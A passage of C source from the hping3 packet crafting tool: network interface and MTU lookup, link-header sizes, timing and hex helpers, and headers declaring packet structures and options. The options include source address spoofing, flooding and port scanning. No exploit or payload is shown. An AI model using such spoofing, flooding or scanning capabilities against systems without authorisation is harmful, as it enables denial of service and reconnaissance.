gets interfaces list */ if ( ioctl(fd, SIOCGIFCONF, (char*)&ifc) == -1 || ifc.ifc_len < sizeof(struct ifreq) ) { perror("[get_if_name] ioctl(SIOCGIFCONF)"); close(fd); return -1; } /* ifrp points to buffer and ifend points to buffer's end */ ifrp = ibuf; ifend = (struct ifreq*) ((char*)ibuf + ifc.ifc_len); for (; ifrp < ifend; ifrp++) { strlcpy(ifr.ifr_name, ifrp->ifr_name, sizeof(ifr.ifr_name)); if ( ioctl(fd, SIOCGIFFLAGS, (char*)&ifr) == -1) { if (opt_debug) perror("DEBUG: [get_if_name] ioctl(SIOCGIFFLAGS)"); continue; } if (opt_debug) printf("DEBUG: if %s: ", ifr.ifr_name); /* Down interface? */ if ( !(ifr.ifr_flags & IFF_UP) ) { if (opt_debug) printf("DOWN\n"); continue; } if (known_output_if) { /* Get the interface address */ if (ioctl(fd, SIOCGIFADDR, (char*)&ifr) == -1) { perror("[get_if_name] ioctl(SIOCGIFADDR)"); continue; } /* Copy it */ memcpy(&sa, &ifr.ifr_addr, sizeof(struct sockaddr_in)); /* Check if it is what we are locking for */ if (sa.sin_addr.s_addr != output_if_addr.sin_addr.s_addr) { if (opt_debug) printf("The address doesn't match\n"); continue; } } else if (ifname[0] != '\0' && !strstr(ifr.ifr_name, ifname)) { if (opt_debug) printf("Don't Match (but seems to be UP)\n"); continue; } if (opt_debug) printf("OK\n"); /* interface found, save if name */ strlcpy(ifname, ifr.ifr_name, 1024); /* get if address */ if ( ioctl(fd, SIOCGIFADDR, (char*)&ifr) == -1) { perror("DEBUG: [get_if_name] ioctl(SIOCGIFADDR)"); exit(1); } /* save if address */ memcpy(&sa, &ifr.ifr_addr, sizeof(struct sockaddr_in)); strlcpy(ifstraddr, inet_ntoa(sa.sin_addr), 1024); /* get if mtu */ if ( ioctl(fd, SIOCGIFMTU, (char*)&ifr) == -1) { perror("Warning: [get_if_name] ioctl(SIOCGIFMTU)"); fprintf(stderr, "Using a fixed MTU of 1500\n"); h_if_mtu = 1500; } else { #ifdef __sun__ /* somehow solaris is braidamaged in wrt ifr_mtu */ h_if_mtu = ifr.ifr_metric; #else h_if_mtu = ifr.ifr_mtu; #endif } close(fd); return 0; } /* interface not found, use 'lo' */ strlcpy(ifname, "lo", 1024); strlcpy(ifstraddr, "127.0.0.1", 1024); h_if_mtu = 1500; close(fd); return 0; } #elif defined(__FreeBSD__) || defined(__NetBSD__) || defined(__OpenBSD__) || \ defined(__bsdi__) || defined(__APPLE__) /* return interface informations : - from the specified (-I) interface - from the routing table - or at least from the first UP interface found */ int get_if_name(void) { /* variable declarations */ struct ifaddrs *ifap, *ifa; char current_if_name[24]; char saved_ifname[24]; struct sockaddr_in output_if_addr; #ifdef __NetBSD__ int s; struct ifreq ifr; #endif /* __NetBSD__ */ if (getifaddrs(&ifap) < 0) perror("getifaddrs"); saved_ifname[0] = 0; /* lookup desired interface */ if(ifname[0] == 0) { /* find gateway interface from kernel */ if (get_output_if(&remote, &output_if_addr) == 0) { if (opt_debug) printf("DEBUG: Output interface address: %s\n", inet_ntoa(output_if_addr.sin_addr)); /* Put something in saved_ifname in order to tell that the output adress is known */ saved_ifname[0] = 'X'; saved_ifname[1] = 0; } else { fprintf(stderr, "Warning: Unable to guess the output " "interface\n"); } } else { /* use the forced interface name */ strlcpy(saved_ifname,ifname,24); } /* get interface information */ for (ifa = ifap; ifa; ifa = ifa->ifa_next) { if (opt_debug) printf("\n DEBUG: if %s: ", ifa->ifa_name); /* print if the data structure is null or not */ if (ifa->ifa_data) { if(opt_debug) printf("DEBUG: (struct DATA) "); } else if(opt_debug) printf("DEBUG: (struct DATA is NULL) "); if (!(ifa->ifa_flags & IFF_UP)) { /* if down */ if (opt_debug) printf("DEBUG: DOWN"); continue; } if ((ifa->ifa_flags & IFF_LOOPBACK)&& (strncmp(saved_ifname,"lo0",3))) { /* if loopback */ if (opt_debug) printf("DEBUG: LOOPBACK, SKIPPED"); continue; } if (ifa->ifa_addr->sa_family == AF_LINK) { if (opt_debug) printf("DEBUG: AF_LINK "); strlcpy(ifname,ifa->ifa_name,1024); strlcpy(current_if_name,ifa->ifa_name,24); /* I don't know why NetBSD behavior is not the same */ #ifdef __NetBSD__ memset( &ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, ifa->ifa_name, sizeof(ifr.ifr_name)); if( sizeof(ifr.ifr_addr) >= ifa->ifa_addr->sa_len ) memcpy(&ifr.ifr_addr, ifa->ifa_addr, ifa->ifa_addr->sa_len); if( (s = socket(PF_INET, SOCK_DGRAM, 0)) < 0) { perror("[get_if_name] socket"); return -1; } if (ioctl(s, SIOCGIFMTU, (caddr_t)&ifr) < 0) h_if_mtu = 0; else h_if_mtu = ifr.ifr_mtu; close(s); #else if( ifa->ifa_data ) h_if_mtu = ((struct if_data *)ifa->ifa_data)->ifi_mtu; else { h_if_mtu = 1500; fprintf(stderr, "Warning: fixing MTU to 1500 !\n"); } #endif /* __NetBSD__ */ continue; } if (ifa->ifa_addr->sa_family == AF_INET6) { if (opt_debug) printf("AF_INET6 "); continue; } if (ifa->ifa_addr->sa_family == AF_INET) { if (opt_debug) printf("AF_INET "); if(strncmp(ifa->ifa_name,current_if_name,24)) continue; /* error */ if(opt_debug) printf("OK\n"); strlcpy(ifstraddr, inet_ntoa(((struct sockaddr_in *)ifa->ifa_addr)->sin_addr), 1024); if( (saved_ifname[0] == 0) || (!strncmp(ifa->ifa_name, saved_ifname, 24)) || (((struct sockaddr_in *)ifa->ifa_addr)->sin_addr.s_addr == output_if_addr.sin_addr.s_addr) ) break; /* asked if found or first UP interface */ } /* interface not found, use hardcoded 'lo' */ strlcpy(ifname, "lo0", 1024); strlcpy(ifstraddr, "127.0.0.1", 1024); h_if_mtu = 1500; } freeifaddrs(ifap); return 0; } #endif /* __*BSD__ */ /* Try to obtain the IP address of the output interface according * to the OS routing table. Derived from R.Stevens */ int get_output_if(struct sockaddr_in *dest, struct sockaddr_in *ifip) { int sock_rt, len, on=1; struct sockaddr_in iface_out; memset(&iface_out, 0, sizeof(iface_out)); sock_rt = socket(AF_INET, SOCK_DGRAM, 0 ); dest->sin_port = htons(11111); if (setsockopt(sock_rt, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) == -1) { if (opt_debug) perror("DEBUG: [get_output_if] setsockopt(SOL_SOCKET, " "SO_BROADCAST"); close(sock_rt); return -1; } if (connect(sock_rt, (struct sockaddr*)dest, sizeof(struct sockaddr_in)) == -1 ) { if (opt_debug) perror("DEBUG: [get_output_if] connect"); close(sock_rt); return -1; } len = sizeof(iface_out); if (getsockname(sock_rt, (struct sockaddr *)&iface_out, &len) == -1 ) { if (opt_debug) perror("DEBUG: [get_output_if] getsockname"); close(sock_rt); return -1; } close(sock_rt); if (iface_out.sin_addr.s_addr == 0) return 1; memcpy(ifip, &iface_out, sizeof(struct sockaddr_in)); return 0; } hping3-3.a2.ds2/getlhs.c000066400000000000000000000027221021454026700150340ustar00rootroot00000000000000/* * $smu-mark$ * $name: getlhs.c$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:47 MET 1999$ * $rev: 8$ */ /* $Id: getlhs.c,v 1.5 2004/04/09 23:38:56 antirez Exp $ */ #include #include "hping2.h" #include "globals.h" int dltype_to_lhs(int dltype) { int lhs; switch(dltype) { case DLT_EN10MB: #ifdef DLT_IEEE802 case DLT_IEEE802: #endif lhs = 14; break; case DLT_SLIP: case DLT_SLIP_BSDOS: lhs = 16; break; case DLT_PPP: case DLT_NULL: #ifdef DLT_PPP_SERIAL case DLT_PPP_SERIAL: #endif #ifdef DLT_LOOP case DLT_LOOP: #endif lhs = 4; break; case DLT_PPP_BSDOS: lhs = 24; break; case DLT_FDDI: lhs = 13; break; case DLT_RAW: lhs = 0; break; #ifdef DLT_IEE802_11 case DLT_IEEE802_11: lhs = 14; break; #endif case DLT_ATM_RFC1483: #ifdef DLT_CIP case DLT_CIP: #endif #ifdef DLT_ATM_CLIP case DLT_ATM_CLIP: #endif lhs = 8; break; #ifdef DLT_C_HDLC case DLT_C_HDLC: lhs = 4; break; #endif #ifdef DLT_LINUX_SLL case DLT_LINUX_SLL: #endif #ifdef DLT_LANE8023 case DLT_LANE8023: #endif lhs = 16; break; default: return -1; break; } return lhs; } int get_linkhdr_size(char *ifname) { int dltype = pcap_datalink(pcapfp); if (opt_debug) printf("DEBUG: dltype is %d\n", dltype); linkhdr_size = dltype_to_lhs(dltype); return linkhdr_size; } hping3-3.a2.ds2/getusec.c000066400000000000000000000011561021454026700152050ustar00rootroot00000000000000/* * $smu-mark$ * $name: getusec.c$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:47 MET 1999$ * $rev: 8$ */ /* $Id: getusec.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ #include #include time_t get_usec(void) { struct timeval tmptv; gettimeofday(&tmptv, NULL); return tmptv.tv_usec; } time_t milliseconds(void) { struct timeval tv; gettimeofday(&tv, NULL); return ((tv.tv_sec % 86400) * 1000 + tv.tv_usec / 1000); } hping3-3.a2.ds2/globals.h000066400000000000000000000046671021454026700152100ustar00rootroot00000000000000/* * $smu-mark$ * $name: globals.h$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:47 MET 1999$ * $rev: 9$ */ /* $Id: globals.h,v 1.3 2004/06/18 09:53:11 antirez Exp $ */ #ifndef _GLOBALS_H #define _GLOBALS_H extern float rtt_min, rtt_max, rtt_avg; extern unsigned int tcp_th_flags, linkhdr_size, h_if_mtu, virtual_mtu, ip_frag_offset, signlen, lsr_length, ssr_length, ip_tos, set_seqnum, tcp_seqnum, set_ack, ip_header_length, tcp_ack; extern unsigned short int data_size; extern int opt_debug, sockpacket, sockraw, sent_pkt, recv_pkt, out_of_sequence_pkt, sending_wait, opt_rawipmode, opt_icmpmode, opt_udpmode, opt_scanmode, opt_listenmode, opt_waitinusec, opt_numeric, opt_gethost, opt_quiet, opt_relid, opt_fragment, opt_df, opt_mf, opt_debug, opt_verbose, opt_winid_order, opt_keepstill, opt_datafromfile, opt_hexdump, opt_contdump, opt_sign, opt_safe, opt_end, opt_traceroute, opt_seqnum, opt_incdport, opt_force_incdport, opt_icmptype, opt_icmpcode, opt_rroute, opt_tcpexitcode, opt_badcksum, opt_tr_keep_ttl, opt_tcp_timestamp, opt_tr_stop, opt_tr_no_rtt, opt_rand_dest, opt_rand_source, opt_lsrr, opt_ssrr, opt_beep, opt_flood, tcp_exitcode, src_ttl, src_id, base_dst_port, dst_port, src_port, initsport, sequence, src_winsize, src_thoff, count, ctrlzbind, delaytable_index, eof_reached, icmp_ip_version, icmp_ip_ihl, icmp_ip_tos, icmp_ip_tot_len, icmp_ip_id, icmp_ip_srcport, icmp_ip_dstport, opt_force_icmp, icmp_ip_protocol, icmp_cksum, raw_ip_protocol; extern unsigned char lsr[255], ssr[255]; extern char ifname[1024], ifstraddr[1024], datafilename[1024], targetname[1024], targetstraddr[1024], spoofaddr[1024], icmp_ip_srcip[1024], icmp_ip_dstip[1024], icmp_gwip[1024], sign[1024], rsign[1024], ip_opt[40], ip_optlen, *opt_scanports; extern struct sockaddr_in icmp_ip_src, icmp_ip_dst, icmp_gw, local, remote; extern struct itimerval usec_delay; extern volatile struct delaytable_element delaytable[TABLESIZE]; extern struct hcmphdr *hcmphdr_p; #include extern pcap_t *pcapfp; extern char errbuf[PCAP_ERRBUF_SIZE]; extern struct pcap_pkthdr hdr; #endif /* _GLOBALS_H */ hping3-3.a2.ds2/hcmp.h000066400000000000000000000010151021454026700144740ustar00rootroot00000000000000/* * $smu-mark$ * $name: hcmp.h$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:47 MET 1999$ * $rev: 9$ */ /* Hping Control Message Protocol */ #define HCMP_RESTART 1 #define HCMP_SOURCE_QUENCH 2 #define HCMP_SOURCE_STIRUP 3 #define HCMP_CHPROTO 4 /* still unused */ struct hcmphdr { __u8 type; union { __u16 seqnum; __u32 usec; } typedep; }; hping3-3.a2.ds2/hex.c000066400000000000000000000066311021454026700143350ustar00rootroot00000000000000/* hex.c -- hex to binary convertion (and vice versa). * Copyright (C) 2003 Salvatore Sanfilippo * All rights reserved. * $Id: hex.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ #include static char hval[256] = { 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 255, 255, 255, 255, 255, 255, 255, 10, 11, 12, 13, 14, 15, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 10, 11, 12, 13, 14, 15, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, }; static char hcharset[16] = "0123456789abcdef"; /* Convert hex data in the string pointed by 'hexstr' in binary, and * write the result of the conversion to 'dest'. * On success 0 is returned, on error non-zero. * 'dest' should point to at least len/2 bytes of data, * len must be an even number. * If len == -1, the function calls strlen() against 'hexstr' to * get the length. */ int hextobin(void *dest, char *hexstr, int len) { int i, binlen; char *s = hexstr; unsigned char *d = dest; if (len == -1) len = strlen(hexstr); if (len % 2) return 1; /* error, odd count */ binlen = len / 2; for (i = 0; i < binlen; i++) { int high, low; high = hval[((unsigned)*s)&0xFF]; low = hval[((unsigned)*(s+1))&0xFF]; if (high == 255 || low == 255) return 1; /* invalid char in hex string */ high <<= 4; *d = high|low; d++; s+=2; } return 0; } /* Convert binary data pointed by 'bin' of length 'len' into an hex string * rappresentation, writing it at 'dest'. The 'dest' buffer should * have enough space to hold (len*2)+1 bytes. The result of the * conversion is nul-terminated. * * This function can't fail. */ void bintohex(char *dest, void *bin, int len) { unsigned char *b = bin; int i, high, low; for (i = 0; i < len; i++) { low = *b & 0xF; high = (*b & 0xF0) >> 4; *dest++ = hcharset[high]; *dest++ = hcharset[low]; b++; } } /* This example main show the usage. */ #ifdef TESTMAIN #include int main(int argc, char **argv) { unsigned char *buf; char *xbuf; int hlen, blen, i; if (argc == 1) exit(1); /* Convert from hex to binary */ hlen = strlen(argv[1]); blen = (hlen+1)/2; buf = malloc(blen); if (!buf) exit(1); hextobin(buf, argv[1], -1); for (i = 0; i < blen; i++) { printf("%02x", buf[i]); } printf("\n"); /* and from binary to hex */ xbuf = malloc((blen*2)+1); if (!xbuf) exit(1); bintohex(xbuf, buf, blen); printf("%s\n", xbuf); return 0; } #endif hping3-3.a2.ds2/hex.h000066400000000000000000000002111021454026700143260ustar00rootroot00000000000000#ifndef __HEX_H #define __HEX_H int hextobin(void *dest, char *hexstr, int len); void bintohex(char *dest, void *bin, int len); #endif hping3-3.a2.ds2/hping2.h000066400000000000000000000325211021454026700147420ustar00rootroot00000000000000/* * $smu-mark$ * $name: hping2.h$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:48 MET 1999$ * $rev: 9$ */ /* $Id: hping2.h,v 1.4 2004/06/04 07:22:38 antirez Exp $ */ #ifndef _HPING2_H #define _HPING2_H #include #include #include #include #include "byteorder.h" #include "systype.h" #include "fixtypes.h" /* types */ #ifndef __u8 #define __u8 u_int8_t #endif /* __u8 */ #ifndef __u16 #define __u16 u_int16_t #endif /* __u16 */ #ifndef __u32 #define __u32 u_int32_t #endif /* __u32 */ #ifndef __uint8_t #define __uint8_t u_int8_t #endif /* __uint8_t */ #ifndef __uint16_t #define __uint16_t u_int16_t #endif /* __uint16_t */ #ifndef __uint32_t #define __uint32_t u_int32_t #endif /* __uint32_t */ #include "hcmp.h" /* Hping Control Message Protocol */ /* protocols header size */ #ifndef ICMPHDR_SIZE #define ICMPHDR_SIZE sizeof(struct myicmphdr) #endif #ifndef UDPHDR_SIZE #define UDPHDR_SIZE sizeof(struct myudphdr) #endif #ifndef TCPHDR_SIZE #define TCPHDR_SIZE sizeof(struct mytcphdr) #endif #ifndef IPHDR_SIZE #define IPHDR_SIZE sizeof(struct myiphdr) #endif /* wait X seconds after reached to sent packets in oreder to display replies */ #define COUNTREACHED_TIMEOUT 1 /* requests status table stuffs */ /* Warning, TABLESIZE 0 == floating point exception */ #define TABLESIZE 400 #define S_SENT 0 #define S_RECV 1 /* usefull defines */ #ifndef TRUE #define TRUE 1 #define FALSE 0 #endif #ifndef IFNAMSIZ #define IFNAMSIZ 16 #endif #ifndef PF_PACKET #define PF_PACKET 17 /* kernel 2.[12].* with 2.0.* kernel headers? */ #endif #ifndef ETH_P_IP #define ETH_P_IP 0x0800 /* Internet Protocol packet */ #endif #ifndef ABS #define ABS(x) (((x)>0) ? (x) : -(x)) #endif /* header size of some physical layer type */ #define PPPHDR_SIZE_LINUX 0 #define PPPHDR_SIZE_FREEBSD 4 #define PPPHDR_SIZE_OPENBSD 4 #define PPPHDR_SIZE_NETBSD 4 #define PPPHDR_SIZE_BSDI 4 #define ETHHDR_SIZE 14 #define LOHDR_SIZE 14 #define WLANHDR_SIZE 14 #define TRHDR_SIZE 20 /* packet size (physical header size + ip header + tcp header + 0 data bytes) */ #ifndef IP_MAX_SIZE #define IP_MAX_SIZE 65535 #endif /* absolute offsets */ #define ABS_OFFSETIP linkhdr_size #define ABS_OFFSETTCP ( linkhdr_size + IPHDR_SIZE ) #define ABS_OFFSETICMP ( linkhdr_size + IPHDR_SIZE ) #define ABS_OFFSETUDP ( linkhdr_size + IPHDR_SIZE ) /* defaults and misc */ #define DEFAULT_SENDINGWAIT 1 /* wait 1 sec. between sending each packets */ #define DEFAULT_DPORT 0 /* default dest. port */ #define DEFAULT_INITSPORT -1 /* default initial source port: -1 means random */ #define DEFAULT_COUNT -1 /* default packets count: -1 means forever */ #define DEFAULT_TTL 64 /* default ip->ttl value */ #define DEFAULT_SRCWINSIZE 512 /* default tcp windows size */ #define DEFAULT_VIRTUAL_MTU 16 /* tiny fragments */ #define DEFAULT_ICMP_TYPE 8 /* echo request */ #define DEFAULT_ICMP_CODE 0 /* icmp-type relative */ #define DEFAULT_ICMP_IP_VERSION 4 #define DEFAULT_ICMP_IP_IHL (IPHDR_SIZE >> 2) #define DEFAULT_ICMP_IP_TOS 0 #define DEFAULT_ICMP_IP_TOT_LEN 0 /* computed by send_icmp_*() */ #define DEFAULT_ICMP_IP_ID 0 /* rand */ #define DEFAULT_ICMP_CKSUM -1 /* -1 means compute the cksum */ #define DEFAULT_ICMP_IP_PROTOCOL 6 /* TCP */ #define DEFAULT_RAW_IP_PROTOCOL 6 /* TCP */ #define DEFAULT_TRACEROUTE_TTL 1 #define BIND_NONE 0 /* no bind */ #define BIND_DPORT 1 /* bind destination port */ #define BIND_TTL 2 /* bind ip->ttl */ #define DEFAULT_BIND BIND_DPORT /* fragmentation defines */ #define MF ((unsigned short)0x2000) /* more fragments */ #define DF ((unsigned short)0x4000) /* dont fragment */ #define NF ((unsigned short)0x0000) /* no more fragments */ /* ip options defines */ #define IPOPT_COPY 0x80 #define IPOPT_CLASS_MASK 0x60 #define IPOPT_NUMBER_MASK 0x1f #define IPOPT_COPIED(o) ((o)&IPOPT_COPY) #define IPOPT_CLASS(o) ((o)&IPOPT_CLASS_MASK) #define IPOPT_NUMBER(o) ((o)&IPOPT_NUMBER_MASK) #define IPOPT_CONTROL 0x00 #define IPOPT_RESERVED1 0x20 #define IPOPT_MEASUREMENT 0x40 #define IPOPT_RESERVED2 0x60 #define IPOPT_END (0 |IPOPT_CONTROL) #define IPOPT_NOOP (1 |IPOPT_CONTROL) #define IPOPT_SEC (2 |IPOPT_CONTROL|IPOPT_COPY) #define IPOPT_LSRR (3 |IPOPT_CONTROL|IPOPT_COPY) #define IPOPT_TIMESTAMP (4 |IPOPT_MEASUREMENT) #define IPOPT_RR (7 |IPOPT_CONTROL) #define IPOPT_SID (8 |IPOPT_CONTROL|IPOPT_COPY) #define IPOPT_SSRR (9 |IPOPT_CONTROL|IPOPT_COPY) #define IPOPT_RA (20|IPOPT_CONTROL|IPOPT_COPY) #define IPOPT_OPTVAL 0 #define IPOPT_OLEN 1 #define IPOPT_OFFSET 2 #define IPOPT_MINOFF 4 #define MAX_IPOPTLEN 40 #define IPOPT_NOP IPOPT_NOOP #define IPOPT_EOL IPOPT_END #define IPOPT_TS IPOPT_TIMESTAMP #define IPOPT_TS_TSONLY 0 /* timestamps only */ #define IPOPT_TS_TSANDADDR 1 /* timestamps and addresses */ #define IPOPT_TS_PRESPEC 3 /* specified modules only */ /* tcp flags */ #ifndef TH_FIN #define TH_FIN 0x01 #endif #ifndef TH_SYN #define TH_SYN 0x02 #endif #ifndef TH_RST #define TH_RST 0x04 #endif #ifndef TH_PUSH #define TH_PUSH 0x08 #endif #ifndef TH_ACK #define TH_ACK 0x10 #endif #ifndef TH_URG #define TH_URG 0x20 #endif #ifndef TH_X #define TH_X 0x40 /* X tcp flag */ #endif #ifndef TH_Y #define TH_Y 0x80 /* Y tcp flag */ #endif /* ICMP TYPE */ #define ICMP_ECHOREPLY 0 /* Echo Reply */ #define ICMP_DEST_UNREACH 3 /* Destination Unreachable */ #define ICMP_SOURCE_QUENCH 4 /* Source Quench */ #define ICMP_REDIRECT 5 /* Redirect (change route) */ #define ICMP_ECHO 8 /* Echo Request */ #define ICMP_TIME_EXCEEDED 11 /* Time Exceeded */ #define ICMP_PARAMETERPROB 12 /* Parameter Problem */ #define ICMP_TIMESTAMP 13 /* Timestamp Request */ #define ICMP_TIMESTAMPREPLY 14 /* Timestamp Reply */ #define ICMP_INFO_REQUEST 15 /* Information Request */ #define ICMP_INFO_REPLY 16 /* Information Reply */ #define ICMP_ADDRESS 17 /* Address Mask Request */ #define ICMP_ADDRESSREPLY 18 /* Address Mask Reply */ /* Codes for UNREACHABLE */ #define ICMP_NET_UNREACH 0 /* Network Unreachable */ #define ICMP_HOST_UNREACH 1 /* Host Unreachable */ #define ICMP_PROT_UNREACH 2 /* Protocol Unreachable */ #define ICMP_PORT_UNREACH 3 /* Port Unreachable */ #define ICMP_FRAG_NEEDED 4 /* Fragmentation Needed/DF set */ #define ICMP_SR_FAILED 5 /* Source Route failed */ #define ICMP_NET_UNKNOWN 6 #define ICMP_HOST_UNKNOWN 7 #define ICMP_HOST_ISOLATED 8 #define ICMP_NET_ANO 9 #define ICMP_HOST_ANO 10 #define ICMP_NET_UNR_TOS 11 #define ICMP_HOST_UNR_TOS 12 #define ICMP_PKT_FILTERED 13 /* Packet filtered */ #define ICMP_PREC_VIOLATION 14 /* Precedence violation */ #define ICMP_PREC_CUTOFF 15 /* Precedence cut off */ #define NR_ICMP_UNREACH 15 /* instead of hardcoding immediate value */ /* Codes for REDIRECT */ #define ICMP_REDIR_NET 0 /* Redirect Net */ #define ICMP_REDIR_HOST 1 /* Redirect Host */ #define ICMP_REDIR_NETTOS 2 /* Redirect Net for TOS */ #define ICMP_REDIR_HOSTTOS 3 /* Redirect Host for TOS */ /* Codes for TIME_EXCEEDED */ #define ICMP_EXC_TTL 0 /* TTL count exceeded */ #define ICMP_EXC_FRAGTIME 1 /* Fragment Reass time exceeded */ /* * IP header */ struct myiphdr { #if defined(__LITTLE_ENDIAN_BITFIELD) __u8 ihl:4, version:4; #elif defined (__BIG_ENDIAN_BITFIELD) __u8 version:4, ihl:4; #else #error "Please, edit Makefile and add -D__(LITTLE|BIG)_ENDIAN_BITFIEND" #endif __u8 tos; __u16 tot_len; __u16 id; __u16 frag_off; __u8 ttl; __u8 protocol; __u16 check; __u32 saddr; __u32 daddr; }; /* * UDP header */ struct myudphdr { __u16 uh_sport; /* source port */ __u16 uh_dport; /* destination port */ __u16 uh_ulen; /* udp length */ __u16 uh_sum; /* udp checksum */ }; /* * TCP header. * Per RFC 793, September, 1981. */ struct mytcphdr { __u16 th_sport; /* source port */ __u16 th_dport; /* destination port */ __u32 th_seq; /* sequence number */ __u32 th_ack; /* acknowledgement number */ #if defined (__LITTLE_ENDIAN_BITFIELD) __u8 th_x2:4, /* (unused) */ th_off:4; /* data offset */ #elif defined (__BIG_ENDIAN_BITFIELD) __u8 th_off:4, /* data offset */ th_x2:4; /* (unused) */ #else #error "Please, edit Makefile and add -D__(LITTLE|BIG)_ENDIAN_BITFIEND" #endif __u8 th_flags; __u16 th_win; /* window */ __u16 th_sum; /* checksum */ __u16 th_urp; /* urgent pointer */ }; /* * ICMP header */ struct myicmphdr { __u8 type; __u8 code; __u16 checksum; union { struct { __u16 id; __u16 sequence; } echo; __u32 gateway; } un; }; struct icmp_tstamp_data { __u32 orig; __u32 recv; __u32 tran; }; /* * UDP/TCP pseudo header * for cksum computing */ struct pseudohdr { __u32 saddr; __u32 daddr; __u8 zero; __u8 protocol; __u16 lenght; }; #define PSEUDOHDR_SIZE sizeof(struct pseudohdr) /* * hping replies delay table */ struct delaytable_element { int seq; int src; time_t sec; time_t usec; int status; }; volatile struct delaytable_element delaytable[TABLESIZE]; /* protos */ void nop(void); /* nop */ int parse_options(int, char**); /* option parser */ int get_if_name(void); /* get interface (see source) */ int get_output_if(struct sockaddr_in *dest, struct sockaddr_in *ifip); int dltype_to_lhs(int dltype); int get_linkhdr_size(char*); /* get link layer hdr size */ int open_sockpacket(void); /* open SOCK_PACKET socket */ int open_sockpacket_ifindex(int ifindex); int close_sockpacket(int); /* close SOCK_PACKET socket */ int open_sockraw(void); /* open raw socket */ void send_packet (int signal_id); void send_rawip (void); void send_tcp(void); void send_udp(void); void send_icmp(void); void send_hcmp(__u8 type, __u32 arg); /* send hcmp packets */ void send_ip (char*, char*, char*, unsigned int, int, unsigned short, char*, char); void send_ip_handler(char *packet, unsigned int size); /* fragmentation handler */ void wait_packet(void); /* handle incoming packets */ void print_statistics(int); void show_usage(void); void show_version(void); int resolve_addr(struct sockaddr * addr, char *hostname); /* resolver */ void resolve(struct sockaddr*, char*); /* resolver, exit on err. */ void log_icmp_unreach(char*, unsigned short);/* ICMP unreachable logger */ void log_icmp_timeexc(char*, unsigned short);/* ICMP time exceeded logger */ time_t get_usec(void); /* return current usec */ time_t milliseconds(void); /* ms from UT midnight */ #define get_midnight_ut_ms milliseconds /* backward compatibilty */ __u16 cksum(__u16 *buf, int nwords); /* compute 16bit checksum */ void inc_destparm(int sid); /* inc dst port or ttl */ char *get_hostname(char*); /* get host from addr */ void datafiller(char *p, int size); /* fill data from file */ void data_handler(char *data, int data_size);/* handle data filling */ void socket_broadcast(int sd); /* set SO_BROADCAST option */ void socket_iphdrincl(int sd); /* set SO_IPHDRINCL option */ void listenmain(void); /* main for listen mode */ char *memstr(char *haystack, char *needle, int size); /* memstr */ void tos_help(void); /* show the TOS help */ int rtt(int *seqp, int recvport, float *ms_delay); /* compute round trip time */ int relativize_id(int seqnum, int *ip_id); /* compute relative id */ int if_promisc_on(int s); /* promisc. mode ON */ int if_promisc_off(int s); /* promisc. mode OFF */ int open_pcap(void); /* open libpcap socket */ int close_pcap(void); /* close libpcap socket */ int pcap_recv(char *, unsigned int); /* libpcap api wrapper */ int memlock(char *addr, size_t size); /* disable paging */ int memunlock(char *addr, size_t size); /* enable paging */ int memlockall(void); /* disable paging (all pages) */ int memunlockall(void); /* enable paging (all pages) */ unsigned char ip_opt_build(char *ip_opt); /* build ip options */ void display_ipopt(char* buf); /* display ip options */ void icmp_help(void); /* show the ICMP help */ void route_help(void); /* show the route help */ void (*Signal(int signo, void (*func)(int)))(int); void delaytable_add(int seq, int src, time_t sec, time_t usec, int status); int read_packet(void *packet, int size); void scanmain(void); void hping_script(int argc, char **argv); u_int32_t hp_rand(void); #if !defined(__FreeBSD__) && !defined(__OpenBSD__) && !defined(__NetBSD__) && \ !defined(__bsdi__) && !defined(__APPLE__) size_t strlcpy(char *dst, const char *src, size_t siz); #endif /* ARS glue */ void hping_ars_send(char *s); #endif /* _HPING2_H */ hping3-3.a2.ds2/hstring.c000066400000000000000000000036051021454026700152250ustar00rootroot00000000000000/* hstring.c - Random string-related functions for hping. * Copyright(C) 2003 Salvatore Sanfilippo * All rights reserved */ /* $Id: hstring.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ #include #include #include /* return 1 if the string looks like an integer number * otherwise 0 is returned. * * this function is equivalent to this regexp: * [:space:]*-{0,1}[0-9]+[:space:]* * in english: * (0-inf spaces)(zero or one 